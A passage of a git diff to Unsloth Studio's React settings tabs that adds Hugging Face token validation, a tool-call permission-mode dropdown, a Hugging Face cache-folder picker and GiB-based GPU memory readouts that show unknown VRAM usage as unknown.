diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index df684b7752..1d5c533a25 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -14,40 +14,39 @@ import { Input } from "@/components/ui/input";
 import { Switch } from "@/components/ui/switch";
 import { usePlatformStore } from "@/config/env";
 import { resetOnboardingDone } from "@/features/auth";
-import { useChatRuntimeStore } from "@/features/chat";
-import { openModelsDir } from "@/features/native-intents";
+import { PermissionModeDropdown, useChatRuntimeStore } from "@/features/chat";
 import { emitTrainingRunsChanged } from "@/features/training";
 import {
   setShowLlamaUpdateBanner,
   useShowLlamaUpdateBanner,
 } from "@/hooks/use-llama-update-pref";
+import { useHfTokenValidation } from "@/hooks";
 import { LOCALE_STORAGE_KEY, useT } from "@/i18n";
 import { isTauri } from "@/lib/api-base";
-import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
 import { useNavigate, useRouterState } from "@tanstack/react-router";
 import { Check, Eye, EyeOff } from "lucide-react";
 import { useEffect, useRef, useState } from "react";
 import {
-  type HelperPrecacheSettings,
-  loadHelperPrecacheSettings,
-  updateHelperPrecacheSettings,
-} from "../api/helper-precache";
-import { type ModelsFolder, loadModelsFolder } from "../api/models-folder";
-import {
-  type PreviewSharingSettings,
-  loadPreviewSharing,
-  rotatePreviewLinks,
-  updatePreviewSharing,
-} from "../api/preview-sharing";
-import {
+  EmbeddingModelBlockedError,
   type EmbeddingModelSettings,
   EmbeddingModelVerificationError,
   loadEmbeddingModelSettings,
   resetEmbeddingModelSettings,
   updateEmbeddingModelSettings,
 } from "../api/embedding-model";
+import {
+  type HelperPrecacheSettings,
+  loadHelperPrecacheSettings,
+  updateHelperPrecacheSettings,
+} from "../api/helper-precache";
+import {
+  type PreviewSharingSettings,
+  loadPreviewSharing,
+  rotatePreviewLinks,
+  updatePreviewSharing,
+} from "../api/preview-sharing";
 import {
   DEFAULT_UPLOAD_LIMIT_MB,
   type UploadLimitSettings,
@@ -56,6 +55,7 @@ import {
 } from "../api/upload-limit";
 import { ChangePasswordDialog } from "../components/change-password-dialog";
 import { EmbeddingModelCombobox } from "../components/embedding-model-combobox";
+import { LanguageSelect } from "../components/language-select";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
 import { StudioVersionSection } from "../components/studio-version-section";
@@ -69,6 +69,8 @@ import { useSettingsDialogStore } from "../stores/settings-dialog-store";
 const PREFS_KEYS: string[] = [
   // Appearance
   "theme",
+  "palette",
+  "unsloth_appearance_customization",
   LOCALE_STORAGE_KEY,
   // UI state
   "sidebar_pinned",
@@ -76,16 +78,23 @@ const PREFS_KEYS: string[] = [
   "unsloth_settings_active_tab",
   // Chat runtime prefs
   "unsloth_chat_auto_title",
+  "unsloth_chat_permission_mode",
+  // Legacy confirm key: loadPermissionMode falls back to it, so clear both or
+  // a reset would restore the old level instead of the fresh default.
+  "unsloth_chat_confirm_tool_calls",
   "unsloth_hf_token",
   "unsloth_auto_heal_tool_calls",
+  "unsloth_nudge_tool_calls",
   "unsloth_max_tool_calls_per_message",
   "unsloth_tool_call_timeout",
   "unsloth_chat_inference_params",
   "unsloth_chat_collapsible_state",
   "unsloth_chat_preferences",
+  "unsloth_model_configs",
+  "unsloth_model_configs_migrated",
   "unsloth_load_settings",
-  // Model selector settings ("Select model settings" group)
   "unsloth_chat_load_on_selection",
+  // Model selector settings ("Select model settings" group)
   "unsloth_chat_expand_quantizations",
   "unsloth_chat_show_all_quantizations",
   "unsloth_models_fit_on_device_only",
@@ -105,6 +114,8 @@ const PREFS_KEYS: string[] = [
   // Update notifications
   "unsloth_show_llama_update_banner",
   "unsloth_monitor_overlay",
+  // Voice settings
+  "unsloth_voice_settings",
 ];
 
 // Set by resetAllPrefs so the unmount-commit effect skips writing back the
@@ -140,8 +151,6 @@ export function GeneralTab() {
   });
   const hfToken = useChatRuntimeStore((s) => s.hfToken);
   const setHfToken = useChatRuntimeStore((s) => s.setHfToken);
-  const autoTitle = useChatRuntimeStore((s) => s.autoTitle);
-  const setAutoTitle = useChatRuntimeStore((s) => s.setAutoTitle);
   const chatOnly = usePlatformStore((s) => s.chatOnly);
   const showLlamaUpdates = useShowLlamaUpdateBanner();
   const redirectTo = `${pathname}${search}`;
@@ -171,7 +180,6 @@ export function GeneralTab() {
   const [isSavingPreviewSharing, setIsSavingPreviewSharing] = useState(false);
   const [revokePreviewOpen, setRevokePreviewOpen] = useState(false);
   const [isRevokingPreview, setIsRevokingPreview] = useState(false);
-  const [modelsFolder, setModelsFolder] = useState<ModelsFolder | null>(null);
   const [embeddingModel, setEmbeddingModel] =
     useState<EmbeddingModelSettings | null>(null);
   const [draftEmbeddingModel, setDraftEmbeddingModel] = useState("");
@@ -207,11 +215,19 @@ export function GeneralTab() {
     if (trimmed !== hfToken) setHfToken(trimmed);
   };
 
-  // Show an "accepted" tick once a non-empty token has been committed to the
-  // store and the field still matches it (i.e. not mid-edit). Gives the user
-  // feedback that a pasted token was saved.
-  const tokenSaved =
+  const clearHfToken = () => {
+    draftRef.current = "";
+    setDraftToken("");
+    setHfToken("");
+  };
+
+  // Only show the success tick for the currently displayed token after the
+  // authenticated validation endpoint has confirmed it. A saved token alone
+  // may still be malformed, expired, or revoked.
+  const tokenIsCurrent =
     draftToken.trim().length > 0 && draftToken.trim() === (hfToken ?? "");
+  const tokenValidation = useHfTokenValidation(hfToken ?? "");
+  const tokenValidated = tokenIsCurrent && tokenValidation.isValid === true;
 
   useEffect(() => {
     let cancelled = false;
@@ -297,43 +313,6 @@ export function GeneralTab() {
     };
   }, [t]);
 
-  useEffect(() => {
-    let cancelled = false;
-    void loadModelsFolder()
-      .then((folder) => {
-        if (cancelled) return;
-        setModelsFolder(folder);
-      })
-      .catch(() => {
-        // Non-critical: leave the row hidden if the path can't be resolved.
-      });
-    return () => {
-      cancelled = true;
-    };
-  }, []);
-
-  // Desktop opens the folder in the OS file manager; the browser can't, so it
-  // falls back to copying the path (which is the info users actually want).
-  const handleModelsFolder = async () => {
-    const folder = modelsFolder;
-    if (!folder) return;
-    if (isTauri) {
-      try {
-        await openModelsDir(folder.path);
-      } catch (error) {
-        toast.error(t("settings.general.storage.openError"), {
-          description: error instanceof Error ? error.message : undefined,
-        });
-      }
-      return;
-    }
-    if (await copyToClipboard(folder.path)) {
-      toast.success(t("settings.general.storage.copied"));
-    } else {
-      toast.error(t("settings.general.storage.copyError"));
-    }
-  };
-
   const saveHelperPrecache = async (enabled: boolean) => {
     setIsSavingHelperPrecache(true);
     setHelperPrecacheError(null);
@@ -409,7 +388,10 @@ export function GeneralTab() {
         description: t("settings.general.rag.reindexWarning"),
       });
     } catch (error) {
-      if (error instanceof EmbeddingModelVerificationError) {
+      // A hard security block cannot be forced; keep the "save anyway" action hidden.
+      if (error instanceof EmbeddingModelBlockedError) {
+        setEmbeddingModelNeedsForce(false);
+      } else if (error instanceof EmbeddingModelVerificationError) {
         setEmbeddingModelNeedsForce(true);
       }
       setEmbeddingModelError(
@@ -486,46 +468,70 @@ export function GeneralTab() {
           label={t("settings.general.huggingFaceToken")}
           description={t("settings.general.huggingFaceTokenDescription")}
         >
-          <div className="relative w-[260px]">
-            <Input
-              type={showToken ? "text" : "password"}
-              placeholder="hf_…"
-              value={draftToken}
-              onChange={(e) => setDraftToken(e.target.value)}
-              onBlur={commitToken}
-              className={cn(
-                "h-8 w-full font-mono text-xs",
-                tokenSaved ? "pr-14" : "pr-8",
-              )}
-            />
-            {tokenSaved ? (
-              // Decorative: pointer-events-none lets clicks reach the input
-              // underneath so the field still focuses anywhere.
-              <span
-                className="pointer-events-none absolute right-7 top-1/2 flex size-5 -translate-y-1/2 items-center justify-center text-emerald-600 duration-150 animate-in fade-in zoom-in dark:text-emerald-500"
-                role="img"
-                aria-label={t("settings.general.tokenSaved")}
+          <div className="flex flex-col items-end gap-1.5">
+            <div className="flex items-center gap-2">
+              <div className="relative w-[260px]">
+                <Input
+                  type={showToken ? "text" : "password"}
+                  name="hf-token"
+                  autoComplete="new-password"
+                  spellCheck={false}
+                  placeholder="hf_…"
+                  value={draftToken}
+                  onChange={(e) => setDraftToken(e.target.value)}
+                  onBlur={commitToken}
+                  className={cn(
+                    "h-8 w-full font-mono text-xs",
+                    tokenValidated ? "pr-14" : "pr-8",
+                  )}
+                />
+                {tokenValidated ? (
+                  // Decorative: pointer-events-none lets clicks reach the input
+                  // underneath so the field still focuses anywhere.
+                  <span
+                    className="pointer-events-none absolute right-7 top-1/2 flex size-5 -translate-y-1/2 items-center justify-center text-emerald-600 duration-150 animate-in fade-in zoom-in dark:text-emerald-500"
+                    role="img"
+                    aria-label={t("settings.general.tokenValidated")}
+                  >
+                    <Check className="size-4" strokeWidth={2.5} />
+                  </span>
+                ) : null}
+                <button
+                  type="button"
+                  onClick={() => setShowToken((s) => !s)}
+                  className="absolute right-1.5 top-1/2 flex size-5 -translate-y-1/2 items-center justify-center rounded text-muted-foreground transition-colors hover:text-foreground"
+                  aria-label={
+                    showToken
+                      ? t("settings.general.hideToken")
+                      : t("settings.general.showToken")
+                  }
+                  tabIndex={-1}
+                >
+                  {showToken ? (
+                    <EyeOff className="size-3.5" />
+                  ) : (
+                    <Eye className="size-3.5" />
+                  )}
+                </button>
+              </div>
+              <Button
+                type="button"
+                variant="outline"
+                size="sm"
+                className="h-8"
+                disabled={!draftToken && !hfToken}
+                onClick={clearHfToken}
               >
-                <Check className="size-4" strokeWidth={2.5} />
-              </span>
+                Clear
+              </Button>
+            </div>
+            {tokenValidation.isChecking ? (
+              <p className="text-xs text-muted-foreground">Checking token…</p>
+            ) : tokenValidation.error ? (
+              <p className="max-w-[330px] text-right text-xs text-destructive">
+                {tokenValidation.error}
+              </p>
             ) : null}
-            <button
-              type="button"
-              onClick={() => setShowToken((s) => !s)}
-              className="absolute right-1.5 top-1/2 flex size-5 -translate-y-1/2 items-center justify-center rounded text-muted-foreground transition-colors hover:text-foreground"
-              aria-label={
-                showToken
-                  ? t("settings.general.hideToken")
-                  : t("settings.general.showToken")
-              }
-              tabIndex={-1}
-            >
-              {showToken ? (
-                <EyeOff className="size-3.5" />
-              ) : (
-                <Eye className="size-3.5" />
-              )}
-            </button>
           </div>
         </SettingsRow>
         {/* The desktop app authenticates via desktop auto-auth with a generated
@@ -541,39 +547,21 @@ export function GeneralTab() {
         )}
       </SettingsSection>
 
-      {modelsFolder ? (
-        <SettingsSection title={t("settings.general.storage.sectionTitle")}>
-          <SettingsRow
-            label={t("settings.general.storage.modelsFolder")}
-            description={t("settings.general.storage.modelsFolderDescription")}
-          >
-            <div className="flex items-center gap-2">
-              <span
-                title={modelsFolder.path}
-                className="max-w-[280px] truncate font-mono text-xs text-muted-foreground"
-              >
-                {modelsFolder.path}
-              </span>
-              <Button
-                variant="outline"
-                size="sm"
-                onClick={() => void handleModelsFolder()}
-              >
-                {isTauri
-                  ? t("settings.general.storage.openAction")
-                  : t("settings.general.storage.copyAction")}
-              </Button>
-            </div>
-          </SettingsRow>
-        </SettingsSection>
-      ) : null}
-
-      <SettingsSection title={t("settings.general.chatDefaults")}>
+      <SettingsSection title={t("settings.appearance.language.title")}>
         <SettingsRow
-          label={t("settings.general.autoTitleNewChats")}
-          description={t("settings.general.autoTitleNewChatsDescription")}
+          label={t("settings.appearance.language.label")}
+          description={t("settings.appearance.language.description")}
         >
-          <Switch checked={autoTitle} onCheckedChange={setAutoTitle} />
+          <LanguageSelect />
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.general.permissions.sectionTitle")}>
+        <SettingsRow
+          label={t("settings.general.permissions.bypassLabel")}
+          description={t("settings.general.permissions.bypassDescription")}
+        >
+          <PermissionModeDropdown />
         </SettingsRow>
       </SettingsSection>
 
@@ -633,9 +621,10 @@ export function GeneralTab() {
           description={t("settings.general.rag.embeddingModelDescription", {
             defaultModel: embeddingModel?.defaultEmbeddingModel ?? "",
           })}
+          className="max-[360px]:flex-col max-[360px]:items-stretch max-[360px]:gap-3"
         >
-          <div className="flex flex-col items-end gap-1">
-            <div className="flex items-center gap-2">
+          <div className="flex flex-col items-end gap-1 max-[360px]:w-full">
+            <div className="flex items-center gap-2 max-[360px]:w-full">
               <EmbeddingModelCombobox
                 value={draftEmbeddingModel}
                 onChange={(next) => {
@@ -647,7 +636,7 @@ export function GeneralTab() {
                 disabled={!embeddingModel}
                 placeholder={embeddingModel?.defaultEmbeddingModel ?? ""}
                 ariaLabel={t("settings.general.rag.embeddingModel")}
-                className="w-[220px]"
+                className="w-[220px] max-[360px]:min-w-0 max-[360px]:flex-1"
               />
               <Button
                 variant="outline"
@@ -659,9 +648,7 @@ export function GeneralTab() {
                 }
                 onClick={() => void saveEmbeddingModel(false)}
               >
-                {isSavingEmbeddingModel
-                  ? t("common.saving")
-                  : t("common.save")}
+                {isSavingEmbeddingModel ? t("common.saving") : t("common.save")}
               </Button>
             </div>
             {embeddingModelError ? (
@@ -709,7 +696,7 @@ export function GeneralTab() {
         >
           <div className="flex flex-col items-end gap-1">
             <div className="flex items-center gap-2">
-              <div className="relative w-28">
+              <div className="flex items-center gap-1.5">
                 <Input
                   type="number"
                   min={uploadLimit?.minUploadSizeMb ?? 1}
@@ -718,9 +705,9 @@ export function GeneralTab() {
                   value={draftUploadLimit}
                   aria-label="Training dataset upload cap in MB"
                   onChange={(event) => setDraftUploadLimit(event.target.value)}
-                  className="h-8 w-full pr-10"
+                  className="h-8 w-24"
                 />
-                <span className="pointer-events-none absolute inset-y-0 right-3 flex items-center text-xs font-medium text-muted-foreground">
+                <span className="text-xs font-medium text-muted-foreground">
                   MB
                 </span>
               </div>
diff --git a/studio/frontend/src/features/settings/tabs/profile-tab.tsx b/studio/frontend/src/features/settings/tabs/profile-tab.tsx
index e00da414d0..c515c3f7d7 100644
--- a/studio/frontend/src/features/settings/tabs/profile-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/profile-tab.tsx
@@ -10,10 +10,16 @@ export function ProfileTab() {
   return (
     <div className="flex flex-col gap-6">
       <header className="flex flex-col gap-1">
-        <h1 className="text-xl font-semibold font-heading">
+        <h1
+          data-settings-label={t("settings.profile.title")}
+          className="text-xl font-semibold font-heading"
+        >
           {t("settings.profile.title")}
         </h1>
-        <p className="text-xs text-muted-foreground">
+        <p
+          data-settings-label={t("settings.profile.description")}
+          className="text-xs text-muted-foreground"
+        >
           {t("settings.profile.description")}
         </p>
       </header>
diff --git a/studio/frontend/src/features/settings/tabs/resources-tab.tsx b/studio/frontend/src/features/settings/tabs/resources-tab.tsx
index d5e19cc51c..b22a54cb0b 100644
--- a/studio/frontend/src/features/settings/tabs/resources-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/resources-tab.tsx
@@ -2,9 +2,14 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { Button } from "@/components/ui/button";
+import { Input } from "@/components/ui/input";
 import { Progress } from "@/components/ui/progress";
 import { Switch } from "@/components/ui/switch";
-import { openModelsDir } from "@/features/native-intents";
+import { FolderBrowser } from "@/features/model-picker";
+import {
+  openModelsDir,
+  pickHuggingFaceCacheDir,
+} from "@/features/native-intents";
 import { useSystemInfo, type GpuDevice } from "@/hooks/use-system";
 import { isTauri } from "@/lib/api-base";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
@@ -12,11 +17,15 @@ import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
 import { useT } from "@/i18n";
 import { useEffect, useMemo, useState } from "react";
-import { loadModelsFolder, type ModelsFolder } from "../api/models-folder";
+import {
+  type HuggingFaceCacheSettings,
+  loadHuggingFaceCacheSettings,
+  updateHuggingFaceCacheSettings,
+} from "../api/hugging-face-cache";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
 import { useMonitorOverlayStore } from "../stores/monitor-overlay-store";
-import { LayersIcon } from "lucide-react";
+import { CopyIcon, FolderOpenIcon, LayersIcon } from "lucide-react";
 
 const POLL_MS = 3000;
 
@@ -32,7 +41,7 @@ function clampPercent(value: number | null | undefined): number {
 function usageIndicatorClass(percent: number): string {
   if (percent >= 90) return "bg-destructive";
   if (percent >= 70) return "bg-amber-500";
-  return "bg-primary";
+  return "bg-control-accent";
 }
 
 function usageTextClass(percent: number): string {
@@ -47,6 +56,21 @@ function formatGb(value: number | null | undefined): string {
   return `${safe.toFixed(digits)} GB`;
 }
 
+function formatBytes(value: number | null): string | null {
+  if (value === null || !Number.isFinite(value)) return null;
+  const gib = value / 1024 ** 3;
+  return `${gib >= 10 ? gib.toFixed(1) : gib.toFixed(2)} GiB`;
+}
+
+// RAM/VRAM come from the backend in binary units (bytes / 1024**3), matching
+// nvidia-smi and PyTorch, so label those readouts GiB. Disk stays on formatGb
+// because the backend reports disk in decimal GB (bytes / 1e9).
+function formatGiB(value: number | null | undefined): string {
+  const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
+  const digits = safe >= 10 ? 1 : 2;
+  return `${safe.toFixed(digits)} GiB`;
+}
+
 function formatMb(value: number | null | undefined): string {
   const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
   return `${Math.round(safe).toLocaleString()} MB`;
@@ -81,22 +105,25 @@ function MetricTile({
   label: string;
   value: string;
   detail: string;
-  percent: number;
+  // null = usage unknown (e.g. Windows ROCm perf counter): show a dash and
+  // empty bar rather than a fabricated 0%.
+  percent: number | null;
 }) {
+  const percentKnown = isFiniteNumber(percent);
   const safePercent = clampPercent(percent);
   return (
     <div className="flex min-w-0 flex-col gap-2 rounded-md border border-border/60 bg-muted/20 p-3">
       <div className="flex items-center justify-between gap-3">
-        <span className="truncate text-[11px] font-semibold uppercase tracking-[0.08em] text-muted-foreground">
+        <span className="truncate text-ui-11 font-semibold uppercase tracking-[0.08em] text-muted-foreground">
           {label}
         </span>
         <span
           className={cn(
             "shrink-0 font-mono text-xs tabular-nums",
-            usageTextClass(safePercent),
+            percentKnown ? usageTextClass(safePercent) : "text-muted-foreground",
           )}
         >
-          {formatPercent(safePercent)}
+          {percentKnown ? formatPercent(safePercent) : "--"}
         </span>
       </div>
       <div className="min-w-0">
@@ -108,7 +135,7 @@ function MetricTile({
         </div>
       </div>
       <Progress
-        value={safePercent}
+        value={percentKnown ? safePercent : 0}
         aria-label={label}
         className="h-1.5 rounded-full bg-muted"
         indicatorClassName={usageIndicatorClass(safePercent)}
@@ -153,20 +180,22 @@ export function ResourcesTab() {
     enabled: liveUpdates,
     pollMs: liveUpdates ? POLL_MS : undefined,
   });
-  const [modelsFolder, setModelsFolder] = useState<ModelsFolder | null>(null);
-  const [modelsFolderLoaded, setModelsFolderLoaded] = useState(false);
+  const [hfCache, setHfCache] = useState<HuggingFaceCacheSettings | null>(null);
+  const [hfCacheLoaded, setHfCacheLoaded] = useState(false);
+  const [cacheBrowserOpen, setCacheBrowserOpen] = useState(false);
+  const [cacheSaving, setCacheSaving] = useState(false);
 
   useEffect(() => {
     let cancelled = false;
-    void loadModelsFolder()
-      .then((folder) => {
+    void loadHuggingFaceCacheSettings()
+      .then((settings) => {
         if (cancelled) return;
-        setModelsFolder(folder);
-        setModelsFolderLoaded(true);
+        setHfCache(settings);
+        setHfCacheLoaded(true);
       })
       .catch(() => {
         if (cancelled) return;
-        setModelsFolderLoaded(true);
+        setHfCacheLoaded(true);
       });
     return () => {
       cancelled = true;
@@ -185,18 +214,30 @@ export function ResourcesTab() {
       (sum, device) => sum + (device.memory_total_gb ?? 0),
       0,
     );
-    const vramUsed = devices.reduce(
-      (sum, device) => sum + (device.vram_used_gb ?? 0),
-      0,
-    );
-    const vramFree = devices.reduce(
-      (sum, device) =>
-        sum +
-        (device.vram_free_gb ??
-          Math.max(0, (device.memory_total_gb ?? 0) - (device.vram_used_gb ?? 0))),
-      0,
-    );
-    const vramPercent = vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0;
+    // null usage = unknown (e.g. Windows ROCm perf counter): treating it as 0
+    // fabricates a 0-used total, so the aggregate is unknown if any device is.
+    const vramUsageKnown =
+      devices.length > 0 &&
+      devices.every((device) => isFiniteNumber(device.vram_used_gb));
+    const vramUsed = vramUsageKnown
+      ? devices.reduce((sum, device) => sum + (device.vram_used_gb ?? 0), 0)
+      : null;
+    const vramFree = vramUsageKnown
+      ? devices.reduce(
+          (sum, device) =>
+            sum +
+            (device.vram_free_gb ??
+              Math.max(
+                0,
+                (device.memory_total_gb ?? 0) - (device.vram_used_gb ?? 0),
+              )),
+          0,
+        )
+      : null;
+    const vramPercent =
+      vramUsageKnown && isFiniteNumber(vramUsed) && vramTotal > 0
+        ? (vramUsed / vramTotal) * 100
+        : 0;
 
     return {
       devices,
@@ -209,15 +250,15 @@ export function ResourcesTab() {
       vramUsed,
       vramFree,
       vramPercent,
+      vramUsageKnown,
     };
   }, [systemInfo]);
 
-  const handleModelsFolder = async () => {
-    const folder = modelsFolder;
-    if (!folder) return;
+  const handleCacheFolder = async () => {
+    if (!hfCache) return;
     if (isTauri) {
       try {
-        await openModelsDir(folder.path);
+        await openModelsDir(hfCache.cacheHome);
       } catch (error) {
         toast.error(t("settings.resources.storage.openError"), {
           description: error instanceof Error ? error.message : undefined,
@@ -225,13 +266,43 @@ export function ResourcesTab() {
       }
       return;
     }
-    if (await copyToClipboard(folder.path)) {
+    if (await copyToClipboard(hfCache.cacheHome)) {
       toast.success(t("settings.resources.storage.copied"));
     } else {
       toast.error(t("settings.resources.storage.copyError"));
     }
   };
 
+  const saveCacheFolder = async (path: string | null) => {
+    setCacheSaving(true);
+    try {
+      const settings = await updateHuggingFaceCacheSettings(path);
+      setHfCache(settings);
+      toast.success(t("settings.resources.storage.cacheSaved"));
+    } catch (error) {
+      toast.error(t("settings.resources.storage.cacheSaveError"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    } finally {
+      setCacheSaving(false);
+    }
+  };
+
+  const changeCacheFolder = async () => {
+    if (!isTauri) {
+      setCacheBrowserOpen(true);
+      return;
+    }
+    try {
+      const path = await pickHuggingFaceCacheDir();
+      if (path) await saveCacheFolder(path);
+    } catch (error) {
+      toast.error(t("settings.resources.storage.cachePickerError"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    }
+  };
+
   const cpuCoresLabel =
     systemInfo.cpu?.logical_count && systemInfo.cpu?.physical_count
       ? t("settings.resources.liveMonitor.cpuCores", {
@@ -245,11 +316,28 @@ export function ResourcesTab() {
   const backendLabel = (
     systemInfo.gpu?.backend ?? systemInfo.device_backend ?? "cpu"
   ).toUpperCase();
-  const modelsFolderPath = modelsFolder
-    ? modelsFolder.path
-    : modelsFolderLoaded
+  const modelsFolderPath = hfCache
+    ? hfCache.cacheHome
+    : hfCacheLoaded
       ? t("settings.resources.environment.unknown")
       : t("common.loading");
+  const cacheLocationDetail = hfCache
+    ? hfCache.source === "environment"
+      ? t("settings.resources.storage.environmentManaged", {
+          variable: hfCache.environmentVariable ?? "HF_HOME",
+        })
+      : [
+          t("settings.resources.storage.futureDownloads"),
+          hfCache.freeBytes !== null
+            ? t("settings.resources.storage.locationFree", {
+                free: formatBytes(hfCache.freeBytes) ?? "",
+              })
+            : null,
+        ]
+          .filter(Boolean)
+          .join(" · ")
+    : null;
+  const unknownLabel = t("settings.resources.environment.unknown");
 
   return (
     <div className="flex flex-col gap-6">
@@ -300,9 +388,9 @@ export function ResourcesTab() {
           />
           <MetricTile
             label={t("settings.resources.liveMonitor.ram")}
-            value={`${formatGb(metrics.ramUsed)} / ${formatGb(metrics.ramTotal)}`}
+            value={`${formatGiB(metrics.ramUsed)} / ${formatGiB(metrics.ramTotal)}`}
             detail={t("settings.resources.liveMonitor.free", {
-              value: formatGb(systemInfo.memory?.available_gb),
+              value: formatGiB(systemInfo.memory?.available_gb),
             })}
             percent={systemInfo.memory?.percent_used ?? 0}
           />
@@ -318,17 +406,21 @@ export function ResourcesTab() {
             label={t("settings.resources.liveMonitor.vram")}
             value={
               hasGpu
-                ? `${formatGb(metrics.vramUsed)} / ${formatGb(metrics.vramTotal)}`
+                ? metrics.vramUsageKnown
+                  ? `${formatGiB(metrics.vramUsed)} / ${formatGiB(metrics.vramTotal)}`
+                  : `${unknownLabel} / ${formatGiB(metrics.vramTotal)}`
                 : t("settings.resources.liveMonitor.noGpu")
             }
             detail={
               hasGpu
-                ? t("settings.resources.liveMonitor.free", {
-                    value: formatGb(metrics.vramFree),
-                  })
+                ? metrics.vramUsageKnown
+                  ? t("settings.resources.liveMonitor.free", {
+                      value: formatGiB(metrics.vramFree),
+                    })
+                  : unknownLabel
                 : backendLabel
             }
-            percent={metrics.vramPercent}
+            percent={metrics.vramUsageKnown ? metrics.vramPercent : null}
           />
         </div>
       </SettingsSection>
@@ -337,13 +429,33 @@ export function ResourcesTab() {
         {hasGpu ? (
           metrics.devices.map((device, index) => {
             const ordinal = deviceOrdinal(device);
-            const total = device.memory_total_gb ?? 0;
-            const used = device.vram_used_gb ?? 0;
-            const free = device.vram_free_gb ?? Math.max(0, total - used);
+            // Preserve null (unknown, e.g. Windows ROCm perf counter); coercing
+            // to 0 would render a fabricated 0 used / full free.
+            const total = device.memory_total_gb ?? null;
+            const used = device.vram_used_gb ?? null;
+            const free =
+              device.vram_free_gb ??
+              (isFiniteNumber(total) && isFiniteNumber(used)
+                ? Math.max(0, total - used)
+                : null);
             const percent =
               device.vram_utilization_pct ??
-              (total > 0 ? (used / total) * 100 : null);
+              (isFiniteNumber(total) && total > 0 && isFiniteNumber(used)
+                ? (used / total) * 100
+                : null);
             const safePercent = clampPercent(percent);
+            const usedText = isFiniteNumber(used)
+              ? formatGiB(used)
+              : unknownLabel;
+            const freeText = isFiniteNumber(free)
+              ? formatGiB(free)
+              : unknownLabel;
+            const totalText = isFiniteNumber(total)
+              ? formatGiB(total)
+              : unknownLabel;
+            const percentText = isFiniteNumber(percent)
+              ? formatPercent(safePercent)
+              : unknownLabel;
             return (
               <div
                 key={`${device.index ?? index}-${device.name ?? "gpu"}`}
@@ -365,7 +477,7 @@ export function ResourcesTab() {
                   </div>
                   <div className="shrink-0 font-mono text-xs tabular-nums text-muted-foreground">
                     <span>
-                      {formatPercent(safePercent)}{" "}
+                      {percentText}{" "}
                       {t("settings.resources.gpu.vramUtilization")}
                     </span>
                   </div>
@@ -373,17 +485,17 @@ export function ResourcesTab() {
                 <div className="grid gap-1 text-xs text-muted-foreground sm:grid-cols-3 sm:gap-2">
                   <span className="min-w-0 truncate font-mono tabular-nums">
                     {t("settings.resources.gpu.used", {
-                      value: formatGb(used),
+                      value: usedText,
                     })}
                   </span>
                   <span className="min-w-0 truncate font-mono tabular-nums sm:text-center">
                     {t("settings.resources.gpu.free", {
-                      value: formatGb(free),
+                      value: freeText,
                     })}
                   </span>
                   <span className="min-w-0 truncate font-mono tabular-nums sm:text-right">
                     {t("settings.resources.gpu.total", {
-                      value: formatGb(total),
+                      value: totalText,
                     })}
                   </span>
                 </div>
@@ -417,29 +529,86 @@ export function ResourcesTab() {
         <SettingsRow
           label={t("settings.resources.storage.modelsFolder")}
           description={t("settings.resources.storage.modelsFolderDescription")}
-          className="max-sm:flex-col max-sm:items-start max-sm:gap-2"
+          className="max-[840px]:flex-col max-[840px]:items-stretch max-[840px]:gap-2"
         >
-          <div className="flex min-w-0 items-center gap-2 max-sm:max-w-[calc(100vw-5rem)]">
-            <span
-              title={modelsFolder?.path}
-              className="min-w-0 max-w-[280px] truncate font-mono text-xs text-muted-foreground max-sm:max-w-[180px]"
-            >
-              {modelsFolderPath}
-            </span>
+          <div className="grid w-[392px] min-w-0 grid-cols-[minmax(0,1fr)_auto] gap-x-2 gap-y-1.5 max-[840px]:w-full">
+            <div className="relative min-w-0">
+              <Input
+                readOnly
+                aria-label={t("settings.resources.storage.modelsFolder")}
+                value={modelsFolderPath}
+                title={hfCache?.cacheHome}
+                className="h-8 w-full pr-7 font-mono text-xs"
+              />
+              <button
+                type="button"
+                disabled={!hfCache}
+                onClick={() => void handleCacheFolder()}
+                aria-label={
+                  isTauri
+                    ? t("settings.resources.storage.openAction")
+                    : t("settings.resources.storage.copyAction")
+                }
+                title={
+                  isTauri
+                    ? t("settings.resources.storage.openAction")
+                    : t("settings.resources.storage.copyAction")
+                }
+                className="absolute right-1.5 top-1/2 flex size-5 -translate-y-1/2 items-center justify-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50"
+              >
+                {isTauri ? (
+                  <FolderOpenIcon className="size-3.5" />
+                ) : (
+                  <CopyIcon className="size-3.5" />
+                )}
+              </button>
+            </div>
             <Button
               variant="outline"
               size="sm"
-              disabled={!modelsFolder}
-              onClick={() => void handleModelsFolder()}
+              className="h-8"
+              disabled={!hfCache?.editable || cacheSaving}
+              onClick={() => void changeCacheFolder()}
             >
-              {isTauri
-                ? t("settings.resources.storage.openAction")
-                : t("settings.resources.storage.copyAction")}
+              {t("settings.resources.storage.changeAction")}
             </Button>
+            {cacheLocationDetail || hfCache?.isCustom ? (
+              <div className="col-span-2 flex min-w-0 items-center justify-between gap-2 pl-3.5 pr-1 text-xs text-muted-foreground">
+                {cacheLocationDetail ? (
+                  <span
+                    title={cacheLocationDetail}
+                    className="min-w-0 truncate"
+                  >
+                    {cacheLocationDetail}
+                  </span>
+                ) : null}
+                {hfCache?.isCustom ? (
+                  <Button
+                    variant="link"
+                    size="xs"
+                    className="h-auto px-0 text-xs"
+                    disabled={cacheSaving}
+                    onClick={() => void saveCacheFolder(null)}
+                  >
